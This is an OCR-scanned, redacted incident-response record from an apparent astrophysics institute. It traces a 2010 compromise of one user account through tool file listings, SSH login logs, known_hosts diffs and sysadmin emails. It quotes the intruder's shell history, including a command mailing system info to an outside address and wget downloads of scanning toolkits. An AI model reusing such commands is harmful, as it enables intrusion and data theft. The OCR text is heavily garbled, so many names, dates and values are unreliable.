Feb
Apr
Feb
Jan
May
Apr
Feb
Feb
aAug
Feb
Rpr
Apr

23
20
23
12
23
27
21
11
12
23
18
12
20
i2
27
27
21
12
12
23
12
21
21

2008
2005
2005
2008
2005
2008
2008
2008
2005
2008
2008
01:13
08:30
2005
2005
08:30
2008
08:30
2008
2006
2006
08:30
08:20
2005
08:22
2006
2006

/tmp/\
/top/\
/tap/\
Femp/\
/tmp/\
/tmp/\
/tap/\
/emp/\
/tmp/\
/tmp/\
/tap/\
/tmp/\
/tmp/\
/tmp/\
/tmp/\
/emp/\

Ttmp/\

/tmp/\
/tmp/\
/emp/\
/tmp/\
/emp/\
/emp/\
/tmp/\
/tmp/\
e/
/emp/\
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2006 /tmp/\.

800016 84 -zwxrwxr-x 1 graff graff 78332 May 30

/tase/?

800039 8 ~rwxrwxr-x 1 graff graff 5646 Aug 23 2005 /tmp/\
/tase/romanian

800017 8 ~ywxrwxr-x 1 graff graff 4921 vay 30 2006 /tap/\
/tase/B

800019 832 -rwxrwxr-x 1 graff graff 846832 Peb 11 03:26 /tmp/\
/tage/atack

800011 56 -rwxrwxr-x 1 graff graff 50250 'Jan 27 2008 /tmp/\
/tase/4

800009 32 -rwxrwxr-x 1 graff graff 28956 Jan 27 2008 /tmp/\
/tase/2

800035 60 -rwxrwxr-x 1 graff graff 53284 May 15 2005 /tmp/\
/tase/male

800022 4 -ruwxrwxr-x 1 graff graff 1261 Aug 23 2005 /tmp/\
/tase/cool .2

800029 4 -rwxrwxr-x 1 graff graftf 634 apr 21 2008 /tmp/\
/tase/index.html

800026 24 -rwxrwxr-x 1 graff graff 20854 Aug 23 2005 /twp/\
/tase/french

800049 1364 -rwxrwxr-x 1 graff graff 1388814 Feb 11 03:29 /tmp/\
/tase/sshd

800002 5600 -rw-rw-r-- 1 graff graff 5718450 Feb 10 20:39 /tmp/\
/tase.zip :

# stdout tau

# e errchan tau

# /usr/bin/rsh -n tau find / fusr /var /tmp /h /dl /d2 -xdev -user 471
-ls

320059 4 dzwg------ 2 graff gratf 4096 FPeb 12 07:05
/var/run/screen/S-graff

320060 0 prwa-—---— 1 graff graff 0 Peb 12 07:05
/var/run/screen/S-graff/19621.pta-4,tan

608001 4 druxr-xz-x 3 graff graft 4096 Feb 12 07:06
/tmp/pop3a

608002 4 -ruxr-xr-x 1 graff graff 2253 Jun 13 2007
/tmp/pop3a/pass_file

608006 0 -rw-r--r-- 1 graff graft 0 Dec 31 2008
/tmp/pop3a/new

608010 4 -ruxr-xr-x 1 graff graff 360 Jan 3 2009
/tmp/pop3a/start

608012 8 -rw-rw-r-- 1 graff graff 4311 Feb 12 07:04
/tmp/pop3a/zap.tgz

608013 12 -rwxr-xr-x 1 graff graff 9780 Jul 25 ° 2006
/tmp/pop3a/zap

608015 4 drwx------ 2 graff graff 4096 Feb 12 08:24
/tmp/pop3a/nasc

608017 828 -rwxr-xr-x 1 graff graff 842736 Nov 24 2004
/tmp/pop3a/nasc/ssh-scan

608021 4 ~rw-rw-r-- 1 graff graff 17 Feb 12 08:11
/tmp/pop3a/nasc/pass_file

608019 180 -rwxr-xr-x 1 graff graff 178908 Jun 15 2005
/tap/pop3a/nasc/pice

608016 4 -ywx--x--% 1 graff graff $96 May 1 2005
/tmp/pop3a/nasc/start
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608018 24 -rwx--x~-x 1 graff gratf 21407 Jul 21 2004
/tmp/pop3a/nasc/pscan2

608004 0 -rw-r--r-- 1 graff graff 0 Jan 3 2009
/emp/pop3a/vuln.txt )

608008 448 -rwx~-x--x 1 graff graff 453972 Jan 19 2007
/tmp/pop3a/ss

608007 12 ~pwepr-—p-~ 1 graft graff 12268 Jun 14 2007
/tmp/pop3a/.swp

608014 504 ~rw-rw-r-- 1 graff graff 510099 Feb 12 07:06
/tmp/popla/nasc.tar.gz

608008 4 -rw~r--r-~ 1 graff graff 2921 Jan 3 2009
/tmp/pop3a/bios.txt
©08009 4 -rwxr-xr-x 1 graff graff 1348 Jun 17 2007
/twmp/pop3a/sesion.php

608003 4 -rw-r--r-- 1 graff gratf 1617 Jan 3 2009
/tmp/pop3a/mfu. txt
608011 16 ~rwxr-xr-x . 1 graff gratf 1607t Jun 13 2007
/tmp/pop3a/ps
] stdout tdc2
3 - errchan tdc2
#$ /usr/bin/rsh -n tde2 find / /usr /var /tmp /h /dl /dZ2 -xdev -user 471
-ls

96001 20 ~rwxrwxr-x 1 graff graff 19586 Feb 12 07:30
/tmp/taz

§ stdout tremont
] ——— erxchan tremont
# /usr/bin/rsh -n tremont find / /usr /var /tmp /h /dl /d2 -xdev -user
471 -1s
736001 4 druxrwxr-x 3 graff gratf 4096 Feb 11 21:43 /tmp/\
736002 208 -rw-rw-r-- 1 graff graff 207354 Nov 18 22:36 /tmp/\
/la.ipg
736003 4 drwxr-xr-x 2 graff gratf 4096 Feb 11 21:43 /tmp/\
/la
736010 4 ~rwxrwxr-x 1 graff = graff 475 Jul 25 2008 /tmp/\
/la/go-find
736011 448 -rux-—---- 1 graff graff 453972 Dec 3 2006 /tmp/\
/la/ss
736004 4 -rwir-xr-x 1 graff graff 605 Dec 4 2006 /tmp/\
/la/start
136009 4 -rwxr-xr-x 1 graff gratf 612 Jul 25 2008 /tmp/\
/la/go
736006 4 ~rwxr-xr-x 1 graff graff 110 Dec 4 2006 /tmp/\
/1a/do
736013 0 -zw-rw-r-- 1 graff graff 0 Feb 11 21:43 /tmp/\
/la/scan.log
736005 4 -rwxr-xr-x 1 graff graff 1599 Jul 25 2008 /tmp/\
/la/plesk
736007 4 -rwxr-xr-x 1 graff graff 878 Mar 24 2009 /tmp/\
/la/pass
736000 4 -rwxr-xr-x 1 graff gratf 304 Dec 3 2006 /tmp/\
/la/auto .
736012 8 ~rwxr-xr-x 1 graff gra/dltf $944 May 15 2005

;tmp/\ /la/pscan2

stdout .vega2
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$ --- errchan vegaz
:7{usi/b1nlrah -n vega2 find / /usr /var /tap /h /dl /d2 -xdev -uger
-1s

736007 4 drwxr-xr-x 3 graff graff 4096 Apr 4 2009
/var/tmp/.bash_profile

736029 0 ~rw-r--r-- 1 graff graff 0 Apr 4 2009
/vax/tap/.bash profile/sor.seen

736009 496 -r-xx-xr-x 1 graff graff 500368 May 22 2006
/var/tmp/.bash_profile/inetd

736010 4 -rwxrwxr-x 1 graff graff . B4 Apr 4 2009
/var/tmp/.bash_profile/mech3.users

736024 24 ~y-xr-xr-x 1 graff graff 22936 Feb 10 2005
/vax/tmp/.bash_profile/kswap.help

736012 4 ~yw-r--r-- 1 graff gratf 1084 Fedb 11.21:00
/vax/tap/ .bash_profile/kswap.session

736014 4 -r-xr-xr-x 1 graff graff 1085 Aug 9 2005
/var/tap/ . bash_profile/kswap.levels

736012 4 ~r-xr-xr-x 1 graff graff 6 Aug 5 2005
/var/tmp/.bash_profile/kswap.pid

736028 4 ~rwxrwxr-x 1 graff gratf 3084 Apxr 4 2009
/var/tmp/.bash_profile/kswap.set

736011 4 -rwxrwxr-x 1 graff graff 84 Apr 4 2009
/var/tmp/.bash_profile/mech2.users

736008 4 -rw-r~-r~- 1 graf? graff 34 Feb 11 19:53
/var/tup/.bash_profile/LinkEvents

736015 4 drwxr-xr-x 2 graff graftf 4096 Aapr 4 2009
/var/tmp/ .bash_profile/randfiles

736023 4 -x--r--r-- 1 graff graff 3982 Feb 10 2005
/var/tmp/ .bash_profile/randfiles/randinsult.e

736020 60 -r--r--r-- 1 graft graff $5316 Feb 10 2005
/var/tmp/.bash_profile/randfiles/randsay.e

736021 4 -p--x--r-- 1 graff graff 633 Feb 10 2005
/var/tmp/.bash_protile/randfiles/randaignoff.e

736016 4§ -ge-p--r-- 1 graff graff 1465 Feb 10 2005
/var/tmp/.bash_profile/randfiles/randversions.e

736018 4 ~y~-g--x-- 1 graff graft 519 Feb 10 2005
/var/tmp/ .bash_profile/randfiles/randnicks.e

736019 4 ~pe-re-r-- 1 graff graff 830 Feb 10 2005
/var/tmp/.bash_protile/randfiles/randkicks.e . .
736022 8 ~r--y--r-- 1 graft graff 5195 Feb 10 2005
/var/tnp/.bash_profile/randfiles/randaway.e

736017 4 ~x--r--r-- 1 graff graff 2495 rFeb 10 2005
/var/top/.bash_profile/randfiles/randpickup.e

736025 0 -rw-r--r-- 1 graft graff 0 Apr & 2009
/var/tmp/.bash_profile/sor2.seen

736027 4 ~rwxrwxr-x 1 gratf graff 84 Apx 4 2009
/var/tup/.bash_profile/mechl.users

736026 0 -rw-r--r-~ 1 graff graff 0 Rpr 4 2009

/var/tmp/.bash profile/sor3_.seen
#ii#ii!ﬂ##OGt!&!l#ﬂiﬁiiiliib#i'l#ﬁtl#iGiitlli###!li#D##I##ﬂii#ili#iil##it

HAHR 0 RA REN RO BT R BRRR RNV IR

found /tmp/suidshell executable on cfal
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" it appears(?) to be some kind of (buffer overflow attempt?} wrapper

arocund bash/ksh?

executed it as user 'nassio' - got a shell but was not able to do 'root!

atuff with shell

HEAHI RIS S IR L IR CR BN ARHR MR OR HE B R RA B HR AR N R DO DO REARRERRSF HRRERESD

HAEIER RN IR DN N R ASR IR DA 000

Feb 13: 09:45 checked differences in /homa/graff/.ssh and .ssh2

directories

# the .ssh/known_hosts and .ssh2/hostkeys has changed recently -
probably indicating intruder
# tried accessing these remote systems:

> pwd
/home/graft/.sash2/hostkeys

> 1ls -lixta

total 176

mEWe - —— 147 graff
key_22 mats.harvard.edu.pub
—IUWmnmm——— 14N graff
o~matic.net.pub

—tu-—omvwa= 1 471 graff
key_22_cbatmpe.cfa.harvard.edu.pub
~W-—m——ew 1 471 graff
—FWem————— 14N gratf
~fW————e—= 1 471 graff
eZWmmmme——- 1471 gratf
key_22 seneca.cfa.harvard.edu.pub
wPWesm———- 14N graff
key_22_ ftp.astro.cz.pub
wpm——emua 1 471 graff

key 22 atlas.astro.cz.pub
wIWr=nema- 1 471 graff
—IWe—mee= 1 471 graff

—PWm e ——— 1471 graftf
P 14N graff

key 22 cfaps?.cfa.harvard.edu.pub
“fWe——e———- 1 §71 graff

key 22 _66.30.200.129.pub
~TWmm—=——w 1 471 graff
~EWm——m——— 14 grafrf
key_22 schmopc00.1fa.hawaii.edu.pub
—IW==—————— 1471 graft
“pWm——-me- 1 471 graff

key_22 mopshql.ifa.hawaii.edu.pub

14

graff

key 22 ftp.astro.cz.pub_keep

ArWAL~XX ~X 4 471

gratf

753 May
760 Aug
760 Dec
743 Feb
743 Feb
743 Mar
759 Mar

749 Jun

1270 Jun

743 Jul
749 Oct
749 oct
765 Jan

756 Mar

749 apr
767 Jan

748 Max
765 Jul

749 oOct

18
12

7
26
26

2
3

20

4096 Oct 26

2002
2002
2002
2004
2004
2004
2004
2004
2004
2004
2004
2004
2005
2008

2007
2008

2008
2008

2000
2008

key_22_marvin.byte-

key_22 adonis.pub
key 22 alinda.pub
key_22 seneca.pub

key_22_cfaps2.pub
key_22_ cfapa7.pub
key_22_ cfaps6.pub

key_22 scully.pub

key_22 hydra.pub

RIF
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“IW——————— 14N graff 755 Feb 12 07:15
key 22_hydra.si.edu.pub
dryg-<~-=~ 2 471 graff. 4096 Feb 12 07:15 .

> pwd
/home/graff/.ssh/.snapshot
> di */xnown_hosts

—rWemmm——— ] 471 graff 10455 Nov 11 10:18
crossbeam(0135054118) _volH0.775/known_hosts

LW —=———— 1471 graff 21817 Fedb 12 07:52
crossbeam(0135054118)_volH0.803/known_hosts
~IW-==w-~= 1 471 gratf 21817 feb 12 07:52
hourly.0/known_hosts g

“IW~-mwe== 1 471 graff 21817 Feb 12 07:52
hourly.1/known_hosts ' .
~CW-==me== ] 471 graft 21817 Feb 12 07:52
hourly.2/known_hosts

~fW——=we=~ 1 471 graff 21817 Peb 12 07:52
hourly.3/known_hosts

~IHemm———— 1471 graff 21817 Feb 12 07:52
hourly.4/known_hosts

“PEWmwe—==- 1 471 gratf 17371 Feb 11 19:15
hourly.5/known_hosts

~TW- - 14N graff 21817 Feb 12 07:52
nightly.0/known_hosts )

I ——m—— 147 graff 18779 Peb 11 22:37
aightly. l/known_hosts

“rW——————- 1471 graff 10455 Nov 11 10:18
nightly.2/known_hosts

~IWem————— 1471 graff 10455 Nov 11 10:18
nightly.3/known_hosts

“IWeom———— i14m graff 10455 New 11 10:18
nightly.4/known_hosts

~EW=wm———— 14N graff 10455 Nov 11 10:18
nightly.5/known_hosts

=LW=————— 14N graff 10455 Nov 11 10:18
weekly.0/known_hosts

“IY——————— 147 graff 10455 Nov 11 10:18
weekly.1l/known_hosts

~E=mme——= 1 471 graff 10455 Nov 11 10:18
weekly.2/known_hosts

> diff nightly.1/known_hosts nightly.2/known_hosts # actual keys omitted -
for clarity :

23,34d22

< 140,247.232.234 ssh-dss ...

< scully.harvaxd.edu, 131.142.8,244 ssh-dss ...

< 140.247.232.235 ash-dss ...

< cfaps?,131.142.11.59 ssh-dss ...

€ roge,131.142.8.116 ssh-dss .,.

< anastasia, 131.142.12.139 ssh-dss ...

< play,131.142.12.989 ssh-dss ...

< macintosh,131.142.156.27 sgh~dss ...

< mlete' 131.142080220 SSh-dss veas
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< senaca gsh-dss ...
< 128.103 . 1490 37 38h-d$8 sen
< 128.103,149.36 ssh-dss ...

bbbttt bbb b bdbobbbtdddatbbta L T T T T YT T T Y T T TV T YT P O
HAH MR I RN O R 0D B

rebooted cfa0 approx. SAM Feb. 13

/home/graft/.history still being updated and /home/gratf still getting
wmounted on c¢fal

approx. 09:56 feb. 13th xemove graff cron file on cfa0 and rebooted cfal
again =-- contents
of /var/spool/cron/graff on cfa0:

> rsh cfal cat /var/spool/cron/gratf
0:2.5,7,10.12,15,17,20,22,25,27,30,32,35,37,40,42,45,47,50,52,55,57 * A
* /home/graff/Triggers/TriggerController

0,15,30,45 * * * * /nome/gratf/Python/PythonGetNEODYS > /dev/null 2>&1
0,15,30,45 * * » * /home/graff/Python/PythonGetJPL > /dev/null 2>&1

00 * * * /home/graff/Python/PythonGetNEO > /dev/null 2>&1

05 * *1 /home/gratf/Python/PythonGetArtSat > /dev/null 2>&l
01,7,13,19 * * * /home/graff/Python/PythonGetRadar > /dev/null 2>61
0,30 * * + + /home/graff/Python/PythonGetRadarTarget > /dev/null 2>&1
02+« ~ /home/graff/Python/GetEOPC

It looks like the cronjobs on CFAQ were causing the /hame/graff/.history
file timestamp to get updated.

The file itself was not changing. After the crontab file was sliminated
for graff the timestamp stopped

getting updated.

I checked all the scripts being run by the above cron job on Feb., 17th
and it appears that none had been
changed since before the intrusion. I think they are ok.

HEED A SANSL LDV O NHL BRRENER AV IERIA R UDR DO VR R SR RRRERRHH A HOEE
RIS O REA R AR AN 0B R

# save .history and .bash_history files from /home/graff/, snapshot to
# /highbeam/volu?/ct-

space/gratf_account_issue/qratt_comptomise/ﬂisto:y_files_froq_snapshots
§# some interesting stuff found:

cat /etc/issue | mail Emwhoo.com
wget members.lycos.co.uk/necuratul/zap.tgz
wget members.lycos.co.uk/necuratul/nasc.tar.gz

FREGE R ERRAERTADE NI R AR NI RERRE BUR DORRO I BRBDNDURORNF ISR URA DR DREES
HUHII AR R RS RERER RN ESUED NI

# email sent to [B)B)B)7)(C)yahcc.com -- these are log entries from cfal
logs;
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cfa 108# grep gino.mofo /var/log/mail.log

Feb 11 19:51:35 cfa sm-listen(5073)}: (ID 801593 mail.info]
01C0pY93005671; tomahoo.cw. delay=00:00:01,
xdelay=00:00:01, mailer=esmtp, pri»120393, relay=a.mx.mail. yahoo,.com.
[67.195.168.31], dsn=2,0.0, stat=Sent (ok dirdel)

Feb 11 21:14:17 cfa sm-listen[9902): (ID 801593 wail.info)
01C2ECGX009900: toMyauoo.cw, delay=00:00:08,
xdelay=00:00:04, mailer=esmtp, pri=120393, relay=g.mx.mail.yahoo.com.
{98.137.54.238], dsn=2.0.0, statwSent (ok dirdel)

cfa 1094 grep olCOpY93005671 /var/log/mail.log

Feb 11 19:51;34 cfa sm-listen{S5871]: [ID 801593 mail.info)
01C0pY93005871: Milter: no active filter

Feb 11 19:51:34 cfa sm-listen{5871): (XD 801593 mail.info)
01C0pY93005871: fromfB)6),(B)}fa.harvard. edu>, size=393, class=0,
nrcpts=l, msgide<201002120051 [BIBLOXAC)  Jingwen.cta.harvard.edu>,
proto=ESMTP, daemon=MTA-v4, relay=jingwen [RELVIVCL ]
Feb 11 19:51:35 cfa sm-listen{5873]: (ID 801593 mail.info]
01C0p¥93005871: to={R}B)BINC vahoo.com>, delay=00:00:01,
rdelay=00:00:01, mailer=esmtp, pri=120393, relaywa.mx.mail.yahoo.com.
(bX6).BX/HC) | den=2,0.0, stat=Sent (ok dirdel)

Feb 11 19:51:3% cfa sm~-listen(5873]: (1D 801593 mail.info]
01C0pY¥93005871: done; delay=00:00:01, ntries=l

cfa 110# grep olC2ECQX009800 !$

gxep 0lC2ECqX009900 /var/log/mail.log

Feb 11 21:14:12 cfa sm-1is5ten{9900}: (ID 801593 mail.info]
01C2ECqX009900: Miltaer: no active filter

Fab 11 21:14:13 cfa sm-]1isten(9900): [ID 801593 mail.info)
©l1C2ECqX009900: from=<graff: size=393, class=0,
nrepts=l, msgid= tremont .cfa.harvard.edu>,
proto=ESMTP, daemon=MTA-v4, relay=tremont [131.142.25.2]

Feb 11 21:14:17 cfa sm-listen[9902}: (ID 801593 mail.info)
01C2ECQX009900 tomyahoo.cw. delay=00:00:05,
xdelay=00:00:04, mailer=esmtp, pri=120393, relay=g.mx.mail.yahoo.com.
{96.137.54.238], dsn=2.0.0, stat=Sent (ok dirdel)

Feb 11 21:14:17 cfa sm~listen{9902]: [ID 801593 mail.info]
01CZ2ECqX009900: done; delay=00:00:0%, ntries=1

SRARSREREBRRGE MR I HER ML RRDNRE M ARG LU R HE RORADRRN A HARSU B RREN BOSD

FRAERALRERRRR RN ER REN SRR RN NN NS

an irc (?) server installed by the graff account was found on vega2 in
/var/tmp/.bash_profile

SHARAERRA R RRE G ONRBRHARRARGRENESARNU BB HIREA HAROR AR HED RN DRI BN RNE

HE IR DA IR RAR MR ML AR RA DR IRNY :

Date: Tue, 16 Feb 20 p:10:58 -0500 (EST)
From: B),®)7)C) ___ Befa.harvard.edu

Ce:l(b)6),(bX7XC) Jcfa.harvard.edu
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Subject: ssh connection *out of* Cp conmputers

-

(My apologies if I already sent you the gist of this info over the
weekend. )

Based on changes to your .ssh and .ssh2 known_hosts directories and
files after Feb. 11th - It appears that the following hosts were accessed
from your account.

(CF managed unix nodes that are already in the centralized .ssh files
and hence would not csuse updates to your known_hosts files would not be
listed below. Alsc not listed would be remote nodes that already existed
in your known hosts files)

[CXELERAC)

Jenecs

hydra.si.edu

HEHUBRAR A EA RN DR EARED HAL LR 0B 0RUR NN IR ERNRNS R IR RUR N O LIRS DORDRARHERS
EHRHI ISR R B R BRSO HR RS RO ENRRA RN

Reply-To IbVR) (BXTX .
To: |(B)(6),(DY7XC)Pcfa.harvard. edu” Wta.harﬂm .edu>
Ce: CF Help (bY@ ()7 kfa-harvard.

Subject: Re: logs analysis

HiYb)6), (bX7 |
Thanks. We'll search our logs further for them.

; phone
CF Unix System Administrator fax (617) 496-7500
Harvard-Smithsonian nail: [BYE).BXTHC) Pefa.harvard.edu -

VYVVVVVVVVVYVYVYVY
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Center for Astrophysics http://www.cfa.haxrvard.edu
60 Garden St., Cambridge, MA 02138 Room B213

>
>
>
>
>

(b)B).(X/NC) Ffa.harvard,edu wrote:

> >> Do you have a user account named "procalinda”?

> >

> > Yes, it's one of the accounts for the automated processing
routines.

> >

> > Here’s a list of user names:

I'm going to pick this thread up because it's been nagging at me all
weekend,

We had the following 8SH attempts on Friday morning:

/data/syslog/ssh-10g.2010.02.14:Fab 12 09:06:29 pisces sshd[10478]:
Invalid user procalinda fr

/data/sysloy/ssh-log.2 .14:Feb 12 09:06:29 pisces sshd[10481):
input_userauth_request: invalid user procalinda

/deta/syslog/ssh-loq 2010.02.14:Feb 12 09:06:39 pisces sshd[10478):
Failed password for invalid user procalinda .‘.rmmmm port 4873
sah2 :

We don't have a user 'procalinda’ on the CP systems. I checked your .ssh
and .ssh2 directories and files in case there were references to username
‘procalinda’. There are not. (There are references to the machine called
‘alinda' however.)

So what's nagging me is why this person tried to connect to pisces with

this username. Note also that he only tried once and gave up after the
one failure.

o

SHRRSRERGAHDORRRIR RN ERREROENRBHRR R IR ERADRERCARROR MR RPARESE REHRRRRCDNIS

RHNBEERGRAS HH"HOW

# On Sunday Feb. 14th sent a list of logins to the graff
account on

# these are the entries for the last couple of weeks.

graff pta/3 ¢ Thu Feb 11 19:34
gratf pts/3 KL ar Thu Peb 11 19:28
graff pts/1 209-250-30-154 ¢ Thu Feb 11 19:07

19:34 (00:00)
19:28 (00:00)

- 19:51 (00:43)
graff pts/1 cfal.cfa.harvard Thu Peb 11 18:02 - 18:04 (00:02)
graff pta/l ¢~24-34~104-26.h Wed Peb 10 21:20 - 21:20 (00:00)
graff pts/2 - ¢=66~30~198-157, Sat Feb 6 11:05 ~ 12:18 (6+01:12)
graff pts/2 ¢-66-30-198~157. Sat FPeb 6 10:05 - 10:05 (00:00)
grafg pts/2 cfad.cfs.harvard Wed Feb 3 13:33 - down (2+20:06)
graff pts/2 ¢~24-34-104-26.h Thu Jan 28 20:34 - 21:35 (01:00)
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graff pta/2 ©-24-34-104-26.h Mon Jan 25 11:51 - 11:51 {00:00)

gratt pts/2 seneca.cfa.harva Non Jan 25 10:30 - 10:31 (00:01)
grafeg pts/2 seneca.cfa.harva Sat Jan 23 00:46 - 01:48 {01:01})
graff pts/2 seneca.cfa.harva Fri Jan 22 09:59 - 10:03 (00:04)
graff pts/2 seneca.cfa.harva Pri Jan 22 09:58 -~ 09:58 (00:00)
graff pta/3 €-66-30-198-157, Wed Jan 20 16:20 - down
{16417:20)

REGURERERASRRRMERN B RABRRREEN RO IRGRLANH RO RORREN RNV RRRORUSH IR ERORENES
i.i###ﬂ#’#il#lQi#ﬁliilﬂlt#l#i!#l'#

To:
ces

[oxoxorm@_

31 aduor EXEARTE]

fh.harvatd.edy>
> cc° \m'u.m 8i.edu>, |(b)6),0X/NC) |
rO'OXOM‘@l » 80

si.edu>
o ;m'n'm- £a,harvard. m«@ﬁmﬂm.uamm.u»
7 RE: Interesting Websense bit
>
>8]
> I filtered out all URLa starting with
> "http://safebrowsing.clients.google.com" from the traffic showing

betweean
> 2/7/10 12M and 2/12/10 12M. What's left is attached.

Thanksj(b)(6),(b)/|

The last five entries were caused by the intruder:

2/11/2010 9:05:28 PM Iﬂ?ﬂ.ﬁ’w | ssh; / FEXOLENINC) ]
2/11/2010 9:06:26 PM

http://milwdrm.com/aploite/2009= 3
2/11/2010 9:07:13 PN , http://secure~

avaaz.org/tase,zip
2/11/2010 9:09;:35 PM " ssh:/ EERES.ER’ R55
271172010 9:11:39 PM ssh:/

wus actually one of the IP addresses from which he ssh’ed
to our computers. interesting that he apprently tried to ssh out to
that address also.

the http connects were his trying to download port scanning {and other
such) software, .

In addition to the above websense entries that indicate attempts to-
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dovwnload software, we found the following entries in the compromised
user's history files (not listed in chrom order):

cat /etc/issue | mil@@yahoo.m
wget hacktheplanet.clan,su/pop3a,tgz
vget members.lycos.co.uk/necuratul/123.tgz

vwget members.lycos.co.uk/necuratul/nasc.tar.gz
wget members.lycos.co.uk/necuratul/zap. tgz

The first entry was email which he sent to (himself? another hacked
account?) on two separate computers which sent him info about the version
of the 0S the computer was running. The remaining entries are downloads
of more software the the local compromised account.

gge;,ag;%; ;a harvard.edu

FHHEBE AU BRRARE IR R MR HG IR RN RSB ER N HR IR RE AR R RN RN BRI O N IS
FHARE AR EERRR SR HIRREERERENNRR IR SNI

(b)(6).(bX7XC £
Subject: chronological (mostly) log of the [BYBLBXING  Jincident

All this stuff is the highbeam i raff thingy under [[BYELOXIC) |

Intruder logs in to cfa0 with[(b)6)®X7X password;
Peb 446359 cfal0 sshd[4319]): Accepted password for graff from
X port 3875 ssh2

Then this same intruder ip [(B)E)L.OXTHC) | attempts access to kongo but
is blocked by tcpwrappers:

Feb 11 17:48:24 kongo sshd(317): [ID 702911 loecal2.info) connection from
"131.142.24.30"

Peb 11 17:46:48 kongo sshd[10987]: [ID 702911 local2.warning} Denied
connection from {(b)6).6)7)(C) __ | convergentaz.net by tcp wrappers.

Feb 11 17:48:48 Kongo sshd[10987]: 702911 local2.warning] WARNING:
Denied connection from convergentaz.net by tcp wrappers.

Feb 11 17:408:4B kongo sshd[10987]: [ID 947420 local2.crit] refused
connect from wawe:gennz net

Peb 11 17:48: ngo sshd{317]: (ID 702911 local2.info] connection from
Eanne ]

Then a suspicious login from cfal with (b)(8).(b){{) ]account to poincare

(something we verified he'd never leg in to):

Feb 11 18:05:22 poincare sshd[2929): Accepted passaword for graff from
port 49978 ssh2

Peb 11 18:47:27 cfsax rpc.nisd_resolv(180): [ID 601014 -error}
nres gethostbyaddr: www.flashlightmedia.de )=

Feb 11 18:47:33 canary rpc.nisd_resolv(170): [ID 601014 da n.error])
nres_gethostbyaddr: www.flashlightmedia.de le m«»
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Feb 11 18:47:33 cfa0 sshd[14886]: Address [BYELENTHC) | maps to
www.flashlightmedia.de, but this does not map back to the address - POSSI
BLE BREAK-IN ATTEMPT{ :

Feb 11 18:47:;33 cfa0 sshd(14886): Address[EXELBXNC) ] maps to
www.flashlightmedia.de, but this does not map back to the address -
POSSIBLE BREAK-IN ATTEMPT!

Feb 11 18:47:41 cfal sshd[14886]): pam_unix (sshd:auth) : authentication
failure; logname= uid=0 euid=0 ttywssh ruser= rhost<{(B)(8)BNTNC) |
useregraff

Then a failed and successful login to cfad with[RYELEX7Y] account from
this igbYe\EU7THC) |
Feb 11 18:47:43 cfald eshd(14886]: Failed password for graff from
(BNG)(DYIXC) _Jport 63153 ssh2

Peb 11 18:47:57 cfa0 sshd[14886]}: Accepted password for graff from

(b)6),0)7XC) Jpoxrt 63153 ash2

Now a successful login to klec with the[[BYBLBNN] account occurs from this
intruder ip
Feb 19:31:12 kleo sshd[10541): Accepted password for graff from

rt 63320 ssh2

Feb 11 108 cfassplO sshd([4378)}: Accepted password for graff from
Wﬂ.&iﬁ% |po:t: 40926 esh2 ‘

Other entries in our logs for these ips
VY Tvd (I
Feb 11 19:05:24 cfal sshd[27149): Connection closed by[BYBL.OY/NC) |
Feb 11 19:30:37 cfssx rpc.nisd_resolv|[1680]: [ID 601014 daemon.error}]
nres_gethostbyaddr: www.flashlightmedia.de |

Feb 11 19:31:08 cfasx rpc.nisd resolv(180): [ID 601014 daemon.error)
nres gethostbyaddr: www.flashlightmedia.de (={(bX6)L{bX/)C) _ |
Feb 11 19:31:08 kleo sshd[10541): Address|(b)6)(bX7)C) |jmaps to

www. flashlightmedia.de, but this does not map back to the address - POSSI
BLE BREAK-IN ATTEMP?T!

(B)B)XTHE) __ Jand

And_a_aubsedue t login to Gareth's account on cfa0 with new ip intruder
Peb 11 19:50:04 cfa0 sshd(25324): Accepted password for graff from
(b)B).(OY7NC) _ Iport 55173 ssh2

More entries for arious CF machines with{{b)(8),bX7)] account
intruder from ol
ag;

Feb 11 19:45: uth ashd(28104): Accepted password for graff from

(b)(@),b7)NC) Iport 58517 ssh2

Feb 11 19:48:35 isildur sshd[13430]: Accepted password for graff from

port 58521 ssh2

feb 11 19:51:55 vega2 sshd(4949): Accepted password for graff from

(bYBYL.MUYMC) Jport 58523 ssh2

Feb 11 19:57:09 melkor sahd([31943]: Accepted password for graff from
port 58529 ssh2

Feb 11 20:07:35 ranger sshd[15272): Accepted password for graff from

EIBBLTG oot 58534" sshz

Feb 0:13:31 ranger sshd[15476): Failed password for nassio from
@mﬁpoﬂ 58548 seh2 -

1043



Feb @}Maﬁmeo&h Accepted password for graff from
or 1 ssh2

-44 83hd{15218): Accepted password for graeff from
ssh2

3 °3’l cfasspl0 sshd([6420]: Accepted password for graff from
port 59670 ssh2

137 cfapa9 sshd[22610]: Pailad password for graff from
port 59672 ssh2

§7:44 cfaps9 sshd(22610): Accepted password for graff from
port 59672 ssh2

§9:44 tau sshd(9332): Accepted password for graff from
port 59674 sah2

i17 vega2 sshd[6207): Accepted password for graff from
port 59679 ssh2

Fan 09 elmo sshd[24161): Accepted password for graff from

[D'UKDTI@.-- 59680 ssh2

Fob 11 2 ;33 bourbon sshd{19513]: Accepted password for graff from
port 59686 ssh2

336 holoholo sshd[20405): Accepted password for gratf from
port 59690 ash2

Feb 11 00:00 nebraska ashd{5926): Accepted password for graff from
port 59692 ssh2

2406120 iorek sshd[26352): Accepted password for graff frem
port 59708 ssh2

22 hua sshd[12534}: Accepted password for graff from
|port 59783 ssh2

More entries for loginag to various CF machines with Gareth's account
intruder from 217.168.153,151:

Feb 11 19:50:49 jingwen sshd[31540]: Accepted password for graff from
port 45855 ssh2

% ﬁ i cfa0 88hd(27941): Accepted password for graff from
rt 36775 ssh2

Feb 11 20:01:57 snail sshd[31193]: Accepted password for graff from
'D'OXD'W(!)_ port 36735 ssh2

§ iotacfa2 sshd(24175]): Accepted password for graff from
port 59508 ssh2

b cfauvcsQ sshd(23694): Accepted password for graff from
{QIUXOAUAG_ port 40377 sah2

3: 118:56 gaucho sshd[21280): Accepted password for graff from
wpﬂrt 56390 ssh2
Feb 1

1 21:04:57 cfa0 sshd{13151]: Connection closed byw
| 2052 karma sshd{16378): Accepted password for gra rom
O/} port 43488 ssh2

i tremont sshd[15717): Accepted password for graff from
port 38357 sah?

Feb 1 $46:16 cfal sshd[9633): Accepted password for graff from
IRELBYA ] pore 39907 sens

2422 lotacfa2 sshd{16905): Accepted password for graff from
I&%iiﬁv%s ‘port 43713 ssh2 .
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Feb 11 21:48:53 cfauvcs0 sshd[25544): Accepted password for graff from
(b)(6).B)(7)C) | port 41944 ssh2
Feb 11 21:50:41 drum sshd[2221]: Accepted password for graff from

port 53209 ssh2

